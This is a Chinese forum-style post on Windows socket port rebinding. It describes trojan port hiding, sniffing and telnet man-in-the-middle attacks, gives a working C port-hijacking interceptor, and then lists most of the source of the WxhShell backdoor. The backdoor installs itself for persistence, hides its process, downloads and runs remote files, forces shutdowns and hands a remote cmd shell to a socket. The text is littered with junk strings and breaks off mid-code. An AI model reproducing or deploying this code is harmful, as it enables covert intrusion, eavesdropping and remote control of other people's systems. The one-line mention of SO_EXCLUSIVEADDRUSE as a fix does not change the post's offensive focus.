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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VE#Wb7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mxe}B' g@rb saddr.sin_family = AF_INET; ,">]`|? |P[w==AAf saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1jCLO} (XeE2l2M bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PjZvQ\Z vBRQp&YwX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T3~k>"W Z LB4m` 这意味着什么?意味着可以进行如下的攻击: 4P'*umJi j\,EO+ZQCv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1s%#$ 7 R?68*}
`7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;LcVr13J/ A$<.a'&T! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y6LWx: LISM ngQ. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 M1 :uJkO. t5[#x4
p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >CrA;\l K17j$o^6KK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M%Ji0v38 ?>hPO73{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bW$J~ ynM m4aB*6<lq #include '3_]Gu-D #include Kh,V.+7k #include O/,aJCe
#include 8WtsKOno DWORD WINAPI ClientThread(LPVOID lpParam); m=?KZ?U` int main() )#P;
x" { { D^{[I WORD wVersionRequested; ~R_ztD+C( DWORD ret; ]4~lYuI4 WSADATA wsaData; 9
TvV= BOOL val; b6}H$Sx~ SOCKADDR_IN saddr; G;&-\0>W SOCKADDR_IN scaddr; iJ~Zkd int err; >_e]C}QUr SOCKET s; I Y2)?"A SOCKET sc; n1JRDw"e$$ int caddsize; UF?H>Y& HANDLE mt; e}Cif2#d~ DWORD tid; P\w\N2 wVersionRequested = MAKEWORD( 2, 2 ); i;NUAmx err = WSAStartup( wVersionRequested, &wsaData ); f47Od-\- if ( err != 0 ) { B-.gI4xa printf("error!WSAStartup failed!\n"); mX\TD0$d return -1; Y<mej][ } 8dZ0rPd? saddr.sin_family = AF_INET; R<[qGt|L bLe<G //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "5-^l.CKH z54EG:x.7^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~;1l9^N| saddr.sin_port = htons(23); v5By :z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K <pV { lL{5SH<Q printf("error!socket failed!\n"); JQV%fTH S return -1; e?opkq\f } <%maDM^_\( val = TRUE; j<u@j+V //SO_REUSEADDR选项就是可以实现端口重绑定的 3|1ilP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CZ(/=3,3n { ?**+e%$$ printf("error!setsockopt failed!\n"); @n(Z$)8tR return -1; OJ/,pLYu } ZkA U17f //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CACTE
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )Z(TCJ~~! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Fb^:V4<T \<y`!"c
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /x5rf { Rn{iaM2Y< ret=GetLastError(); `|,`QqDQ printf("error!bind failed!\n"); )+}]+xRWGj return -1; >c9a0A } XLAN Np%E listen(s,2); Z0 o~+Ct$ while(1) jJuW-(/4[ { h&`e) a>+ caddsize = sizeof(scaddr); f2^r[kPX" //接受连接请求 q>mE<
(-M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ytz)d/3T if(sc!=INVALID_SOCKET) VwOW=4`6 { 5Cq{XcXV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Au4yBm
u if(mt==NULL) 2_zp:v { `t_W2y printf("Thread Creat Failed!\n"); ^j". break;
KnsT\>[K } blTo5NLX } 1_\;- !t CloseHandle(mt); mf}O-Igte } 6ek;8dL closesocket(s); |4T!&[r WSACleanup(); EmODBTu+ return 0; $% 1vW=d } \8<BLmf4U DWORD WINAPI ClientThread(LPVOID lpParam) Bx/L<J@ { -C<zF`jO SOCKET ss = (SOCKET)lpParam; .Fnwm} SOCKET sc; &_"]5/"( unsigned char buf[4096]; .G+Pe'4a SOCKADDR_IN saddr; ?Rj ~f{%g long num; DdVF, DWORD val; !<SA6m# DWORD ret; wi4=OU1L)a //如果是隐藏端口应用的话,可以在此处加一些判断 &2 `F n!m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 UN zlN saddr.sin_family = AF_INET; Q($Z%1S saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J2j U4mR saddr.sin_port = htons(23); G3rj`Sg^c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P#fM:z@[ { 0#ClWynjRO printf("error!socket failed!\n"); U7I qST return -1; |37
g ~ } LE*h9(( val = 100; nS&3?lx9_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {W]=~*w { 'Er:a?88l ret = GetLastError(); N_pJk2E return -1; 5g9; +}X; } tl><"6AIP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !OT-b>*w { 55;g1o}}f ret = GetLastError(); ]ut5S>," return -1; dw TMq*e } Q" ,0F{' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $6CwkM: { z,VD=Hnz printf("error!socket connect failed!\n"); u-tQ9ioKC closesocket(sc); A?`jnRo=\ closesocket(ss); 40|,*wi return -1; C-Ht(x | } <0S,Q+& while(1) ,:`ND28V7 { $2u 'N:o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (sQr X{~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 fwBRWr9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;\[(- )f!= num = recv(ss,buf,4096,0); i| ZceX/ if(num>0) %~jkB.\* ) send(sc,buf,num,0); 1?| flK else if(num==0) La@
+> break; wN2QK6Oc num = recv(sc,buf,4096,0); *bxzCI7b if(num>0) a\%xB >LX send(ss,buf,num,0); &R$CZU else if(num==0) }=|!:kiE break; tOOchu?= } +Y
V|ij closesocket(ss); EZYBeqv closesocket(sc); @]![o % return 0 ;
!xwG%{_ } ?X5]i#j[ ;/0 Q1- rYp3(k3 ========================================================== Uz7^1.-g4 _ z;q9&J) 下边附上一个代码,,WXhSHELL W,K%c= 3mSXWl^? ========================================================== E7Ulnvd @rHK(25+d #include "stdafx.h" I(S)n+E >+mD$:L #include <stdio.h> wP57Pf0 #include <string.h> &bhq`> #include <windows.h> {VP$J"\e #include <winsock2.h> (4@lKKiU%H #include <winsvc.h> qiZO _=0 #include <urlmon.h> Uh'#izm[l [lk'xzE #pragma comment (lib, "Ws2_32.lib") $46{<4. #pragma comment (lib, "urlmon.lib") 3b YCOqG !J=sk4T #define MAX_USER 100 // 最大客户端连接数 \@>b;4Fb+N #define BUF_SOCK 200 // sock buffer {,cCEXag% #define KEY_BUFF 255 // 输入 buffer =0-
$W5E <F
)_!0C #define REBOOT 0 // 重启 ql GW.jY. #define SHUTDOWN 1 // 关机 zFQ&5@43 $HG}[XD? #define DEF_PORT 5000 // 监听端口 _Cw:J|l. HAYMX:% #define REG_LEN 16 // 注册表键长度 zyg:nKQW #define SVC_LEN 80 // NT服务名长度 [Px'\nVf IG?'zppjd6 // 从dll定义API zd]D(qeX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `]v[5E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D{v8q)5r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -B$~`2- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WU4U Zpz 1G7b%yPA // wxhshell配置信息 1 ^g
t1o struct WSCFG { 4gSH(*} int ws_port; // 监听端口 )s9',4$eK< char ws_passstr[REG_LEN]; // 口令 Ro=AADv@ int ws_autoins; // 安装标记, 1=yes 0=no $hR)i char ws_regname[REG_LEN]; // 注册表键名 ^+SkCO char ws_svcname[REG_LEN]; // 服务名 O g%U char ws_svcdisp[SVC_LEN]; // 服务显示名 O8U<{jgAG char ws_svcdesc[SVC_LEN]; // 服务描述信息 J!ntXF char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $3X-rjQtW int ws_downexe; // 下载执行标记, 1=yes 0=no .bD_R7Bi6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" J
wm T/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >%Ee#m O;HY% }; f-2$
L 3E^M?N2oc // default Wxhshell configuration A\Txb_x struct WSCFG wscfg={DEF_PORT, IgL_5A "xuhuanlingzhe", ~^)^q8 1, utlpY1#q/ "Wxhshell", /cFzotr"9 "Wxhshell", #kkY@k$4 "WxhShell Service", M!M!Ni "Wrsky Windows CmdShell Service", E3/:.t "Please Input Your Password: ", %m{U&
-(l@ 1, 2WvN2"f3 " http://www.wrsky.com/wxhshell.exe", qIwV q!= "Wxhshell.exe" MVCl.o }; >i,iOx|E- !.5),2 // 消息定义模块 \nrP$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Aw!gSf) char *msg_ws_prompt="\n\r? for help\n\r#>"; $trAC@3O@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %qsvtc` char *msg_ws_ext="\n\rExit."; C.!_]Pxs char *msg_ws_end="\n\rQuit."; 2_QN&o ~h char *msg_ws_boot="\n\rReboot..."; oh#N
0
0X char *msg_ws_poff="\n\rShutdown..."; K_-d( char *msg_ws_down="\n\rSave to "; &B{8uge1 J#3{S]*v_ char *msg_ws_err="\n\rErr!"; t@bt6J .{ char *msg_ws_ok="\n\rOK!"; ~H@+D}J?
'3l$al:H^ char ExeFile[MAX_PATH]; K7vw3UwGN int nUser = 0; KT*:F(4` HANDLE handles[MAX_USER]; {#Q\z> int OsIsNt; CidM( +zOOdSFk. SERVICE_STATUS serviceStatus; @u4=e4eF` SERVICE_STATUS_HANDLE hServiceStatusHandle; U!q[e`B Ln#a<Rx.E7 // 函数声明 @y~P&HUN int Install(void); vrl[BPI int Uninstall(void); sJr5t? int DownloadFile(char *sURL, SOCKET wsh); X.|Ygx int Boot(int flag); 3=4SGt5m void HideProc(void); hY\{| int GetOsVer(void); +S { int Wxhshell(SOCKET wsl); _ptP[SV^j void TalkWithClient(void *cs); uOk%AL> int CmdShell(SOCKET sock); |DG@ht int StartFromService(void); (7q^FtjA# int StartWxhshell(LPSTR lpCmdLine);
~Nh&.a 6517Km 4- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o$bUY7_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); =q
CF%~ <DiOWi // 数据结构和表定义 Z(!pYhLq SERVICE_TABLE_ENTRY DispatchTable[] = mc@M ,2@D { F$6?t.@J {wscfg.ws_svcname, NTServiceMain}, 2)LX^?7R {NULL, NULL} j]> uZalr }; Z$2L~j"=! 0^<,(]! // 自我安装 -Ds|qzrN% int Install(void) j=3-Qk`"/| { LcUlc)YH5 char svExeFile[MAX_PATH]; C6k4g75U2 HKEY key; H@!#;w strcpy(svExeFile,ExeFile); lCFU1 GHH dK# h<q1 // 如果是win9x系统,修改注册表设为自启动 <?|6*2_= if(!OsIsNt) { R7aXR\ R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "a(1s}, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E%*AXkJ'dZ RegCloseKey(key); d^aNR
Lv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~zMKVM1Q., RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zzf7S%1I RegCloseKey(key); #S?c ;3- return 0; 3X'WR] } {E~l>Z88 } m3?e]nL4W } f'_S1\ else { T +\ B'" 8kbBz // 如果是NT以上系统,安装为系统服务 ?'+8[OHiF^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |BJqy/ if (schSCManager!=0) + U5U.f% { Y(z}[`2 SC_HANDLE schService = CreateService %c0z)R~ ( qhxC 5f4Z schSCManager, |uQ[W17^N wscfg.ws_svcname, uHrb:X!q wscfg.ws_svcdisp, PN9^[X SERVICE_ALL_ACCESS, Vj7Hgc-, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pX]21&F SERVICE_AUTO_START, i@{*O@m SERVICE_ERROR_NORMAL, .nPL2zO svExeFile, l'2H4W_+ NULL, &?}1AQAYg NULL, jNqVdP]d\ NULL, 4(sttd_ NULL, #XL`S NULL
3se$,QmN ); LO}z)j~W if (schService!=0) aZxO/b^j { Q
%y,;N"ro CloseServiceHandle(schService); \d$Rd")w CloseServiceHandle(schSCManager); yjR)Z9t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N.n1< strcat(svExeFile,wscfg.ws_svcname); kpWzMd &RK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2b~
HHVruX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -PXoMZx% RegCloseKey(key); 64b<0;~ return 0; `
Rsl]
GB } t}c v2S }
BUV/twU) CloseServiceHandle(schSCManager); 6*V8k%H } E6JV}`hSk } Q.>/*8R; +qZc}
7rJF return 1; 79a9L{gso } fYs?D+U;PF YjL
t&D:IZ // 自我卸载 b+_hI)T int Uninstall(void) `L;OY 4 { N@}gLBf HKEY key; KDX$.$# $oc9
|Q 7 if(!OsIsNt) { ` )]lUvR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !&\meS{ RegDeleteValue(key,wscfg.ws_regname); ^} tLnF RegCloseKey(key); 4^`PiRGt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "W3W:vl! RegDeleteValue(key,wscfg.ws_regname); 2>ys2:z RegCloseKey(key); -#daBx
? return 0; vD_u[j] } %5`r-F } T 4vogoy } [:Xn6)qz else { y>%W;r) i>WOYI9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZHb7+ if (schSCManager!=0) S'|lU@PCl { 3V"dG1? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QaIi.*tic if (schService!=0) FzA{UO { +J%6bn)U if(DeleteService(schService)!=0) { l<s :%%CX CloseServiceHandle(schService); QZ#3Bn%B5 CloseServiceHandle(schSCManager); _d/GdeLs return 0; Ia=&.,xub } 33O)k*g CloseServiceHandle(schService); =z+-l5Gu" } <\+Po<)3j CloseServiceHandle(schSCManager); PnI)n=(\ } Q3(hK<Qh; } tP&{ J^G bb*c+XN0 return 1; RA!x } #W_i{bdO )J{.Cx<E // 从指定url下载文件 [SKP|`I>I int DownloadFile(char *sURL, SOCKET wsh) lkI8{ { Dm&lSWW`/ HRESULT hr; D7%^Ly char seps[]= "/"; >+zAWK9 char *token; 6wa<'! char *file; `'dX/d char myURL[MAX_PATH]; @ARAX\F char myFILE[MAX_PATH]; FEge+`{, hz&^_G6` strcpy(myURL,sURL); Sn;/;^@(\ token=strtok(myURL,seps); @hE7r-}] while(token!=NULL) U/}AiCdj@ { F!
|TW6)gv file=token; dY/|/eOt<K token=strtok(NULL,seps); N:m@D][/sW } %:yHMEG]' J R8 Z6 GetCurrentDirectory(MAX_PATH,myFILE); gEcnn.(S strcat(myFILE, "\\"); B^E2UNRA strcat(myFILE, file); DW'0j$; send(wsh,myFILE,strlen(myFILE),0); AJJ%gxqGq send(wsh,"...",3,0); I^rZgp<'i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YzforM^F if(hr==S_OK) Gnuo-8lb return 0; `?Y_0Nh> else ?yK%]1O return 1; hlABu)B'1
75QXkJu } 3G:NZ) p V1UUAvN7s // 系统电源模块 *!wO:<- int Boot(int flag) b |o`Q7Hj { s[vPH8qb HANDLE hToken; //`cwnjp TOKEN_PRIVILEGES tkp; 8AC.2v?_ SNopAACf1 if(OsIsNt) { y~4SKv
$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'p|Iwtjn> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RGx]DP$5G tkp.PrivilegeCount = 1; [qjAq@@N#q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0C"PC:h5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d~P<M3#> if(flag==REBOOT) { ]%WD} 4e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S4aHce5PXA return 0; 1OfSq1G>v$ } c"QkE* else { D:RBq\8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b}}1TnS) return 0; !?us[f=g% } 5* o\z&*L } D~i@. k else { 6S&=OK^ if(flag==REBOOT) { S,)|~#5x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CLFxq@%nu~ return 0; GP7)m } ac+k 5K+ else { ^!v} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iz%A0Z+`bg return 0; c|!A?>O? i } C&CsI] @g } Ql6ai
Fv7%TK{oe return 1; zb~MF_ &gE } +DbWMm X
gx2 // win9x进程隐藏模块 _WjETyh
[H void HideProc(void) w?$u! X { ZR01<V 5{d9,$%8& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5[j!\d}U if ( hKernel != NULL ) UmD-7Fd { ==jw3_W pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BHJ'[{U*w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,wb|?>Y FreeLibrary(hKernel); {i%xs#0h } 1uS>{M N;`[R>Z~ return; YaJ{"'} } U3j~}H.D1 &6^W%r // 获取操作系统版本 (P>eWw\0 int GetOsVer(void) kFIB lPV { ,M/#Q6P0} OSVERSIONINFO winfo; D>7_P7]y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7U[L\1zS GetVersionEx(&winfo); {EoyMJgz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3Llj_lf return 1; |gRgQGeB else k'I_,Z<, return 0; !{ESeBSCG } (8-lDoW (~pEro]?+) // 客户端句柄模块 h^_taAdS` int Wxhshell(SOCKET wsl) 5fx,rtY2sQ { <sCq
x/L SOCKET wsh; >wS:3$Q struct sockaddr_in client; $-9@ /%Y DWORD myID; wAOVH]. z vylL
M while(nUser<MAX_USER) +-!|%jG`%v { q}F%o0 int nSize=sizeof(client); ^.1VhTB wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )< a8a@ if(wsh==INVALID_SOCKET) return 1; @ Rb1)$~# ^YJ^+:D( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |UDD/e if(handles[nUser]==0) .f<VmUca closesocket(wsh); AUjTcu>i else ryp$|?ckJ nUser++; [`-O-?= } $0S" Lh{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O9=H
[b y3[)zv return 0; 7C?mD75j } RGA*7 IS
9q 5/] // 关闭 socket I+d(r"N1 void CloseIt(SOCKET wsh) %PdYv _5 { hGo|2@sc closesocket(wsh); G{Enh<V nUser--; d~Ry> ExitThread(0); y^46z(I } |j}F$*SE[ u&_U
CJCf // 客户端请求句柄 Ml/p{ *p void TalkWithClient(void *cs) L.:QI<n { @d^h/w 7c]Ai SOCKET wsh=(SOCKET)cs; gG;W:vR}l char pwd[SVC_LEN];
yi;t char cmd[KEY_BUFF]; 4bzn^ char chr[1]; [=F
|^KL int i,j; 8si^HEQ8 Jv.R?1;8i while (nUser < MAX_USER) { Hf{%N'4 4^ 6L ])y if(wscfg.ws_passstr) { (#iM0{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W8h\ s { //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s'Q^1oQM2h //ZeroMemory(pwd,KEY_BUFF); l4reG:uYG i=0; PM>XT while(i<SVC_LEN) { %ys}Q!gR []!r|R3 // 设置超时 ly%B!P| fd_set FdRead; Ht^2)~e~: struct timeval TimeOut; X )s7_ FD_ZERO(&FdRead); 2I7` FD_SET(wsh,&FdRead); 9?$!=4 TimeOut.tv_sec=8; 0%NI-
Zyo TimeOut.tv_usec=0; `2+e\%f/0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !QS<;)N@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ymX,k|lh 8~#Q * if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u*N8s[s' pwd =chr[0]; AK?j1Pk if(chr[0]==0xd || chr[0]==0xa) { + qqN pwd=0; RcP5].^T break; ,x.)L=Cx8 } Q 9<_:3 i++; A'(F%0NF6 } >v,j;[( "<a|Q ,! // 如果是非法用户,关闭 socket 3~xOO*`o if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rj`Y X0?+ } V<pjR@ <j3HT"^[D send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ye2Oh7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }8#Czo jt o|q#A3%? while(1) { `_^=OOn
*G41%uz ZeroMemory(cmd,KEY_BUFF); RhmVHhj rNyK*Wjt // 自动支持客户端 telnet标准 5VbNWrw j=0; p
n>`v while(j<KEY_BUFF) { :%MWbnVSC, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pk1M.+ cmd[j]=chr[0]; D/UGN+ if(chr[0]==0xa || chr[0]==0xd) { G3?z.5,Q cmd[j]=0; LWV`xCr8R break; &}1)]6q$ } NLY5L7 j++; G)7sXEe } <-}\V!@E! +(%[f W // 下载文件 }*.*{I if(strstr(cmd,"http://")) {
?~IZ{! send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9 To6Rc; if(DownloadFile(cmd,wsh)) Hp!F?J7sx send(wsh,msg_ws_err,strlen(msg_ws_err),0); i>2_hn_UR else I r~X#$Upc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d*L'`BBsp } kM`#U
*j else { y>8?RX8 {eUfwPAa3 switch(cmd[0]) { e_TDO =w-H ) // 帮助 PK"
C+o;: case '?': { U w" send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zhE7+``g break; DAW%?(\, } gzF&7trN // 安装 7ZZt|bl case 'i': { h6/Z_Y if(Install()) kZQ;\QL1} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-"&jbvm else v<1;1m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;}Wm[
break; mz1g8M`@[D } #Gx@\BE{ // 卸载 ~vmY2h\ case 'r': { ~_%[j8o&l if(Uninstall()) qv6]YPP send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3J$+1M> else l<0V0R( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 14RL++ break;
t2iFd? } 7(H/|2;-d8 // 显示 wxhshell 所在路径 qM+T Wp case 'p': { GCHssw~P'v char svExeFile[MAX_PATH]; R9(^CWs strcpy(svExeFile,"\n\r"); Sgj6tH2M strcat(svExeFile,ExeFile); /hQ!dU.+ send(wsh,svExeFile,strlen(svExeFile),0); #Z : r break; yrw!b\ } rQJoaP+\q // 重启 &3<]FK case 'b': { x>cu<,e$d\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C$8=HM3 if(Boot(REBOOT)) v&Kw
3!X#E send(wsh,msg_ws_err,strlen(msg_ws_err),0); * 7CI q else { ":OXs9Yg closesocket(wsh); vJ!t.Vou ExitThread(0); xQQ6D } R##O9BSI8Z break; ;I>`!|mT } W8)GT`\ // 关机 pS0T>r case 'd': { 5gGr|d|( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g(1'i 1 if(Boot(SHUTDOWN)) <javZJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ae1},2py else { 3iB8QO;pp closesocket(wsh); 95}"AIi ExitThread(0); piU4%EO } !T}`h' break; R0Qp*&AL } rVLA"x 9u // 获取shell q+<TD#xoL case 's': { .$Y[>9 CmdShell(wsh); '?\Hm'8 closesocket(wsh); \>+gZc]an ExitThread(0); uaiG(O break; #C|iW@ } s:%>H|- // 退出 jsuQR case 'x': { l!
GPOmf9` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mf?4 `LM CloseIt(wsh); T6tJwSS4: break; ;I9D>shkc } {2!.3<# // 离开 'SC`->F4D case 'q': { [=Xvp z send(wsh,msg_ws_end,strlen(msg_ws_end),0); NS\'o
)J closesocket(wsh); )9}z^+TH WSACleanup(); EM"YjC)F exit(1); b( wiJ&t break; h>4\I;Ij } ]1X];x&e } &Oe,$%{hBh } ~#wq sm \2uQ"kJC // 提示信息 s+aeP if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <=WQs2 } %N 2=: ;f } ^*Sb)tu\ W $///N+B return; Kpg]b"9.R } w9vqFtj F;kNc:X`) // shell模块句柄 Q~nc:eWD int CmdShell(SOCKET sock) B&cC;Hw { -|g~--@Q STARTUPINFO si; G"wy? ZeroMemory(&si,sizeof(si)); O0e6I&u: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NT:p6(s^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O.}{s; PROCESS_INFORMATION ProcessInfo; H.*XoktC] char cmdline[]="cmd"; kf';" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (,[Oy6o return 0; t
7+ifSrz }
t;{/Q&C MC^H N w // 自身启动模式 =}F &jl int StartFromService(void) G;MmD?VJ g { awGI|d typedef struct FgLV>#)- { &;|/I`+ DWORD ExitStatus; =
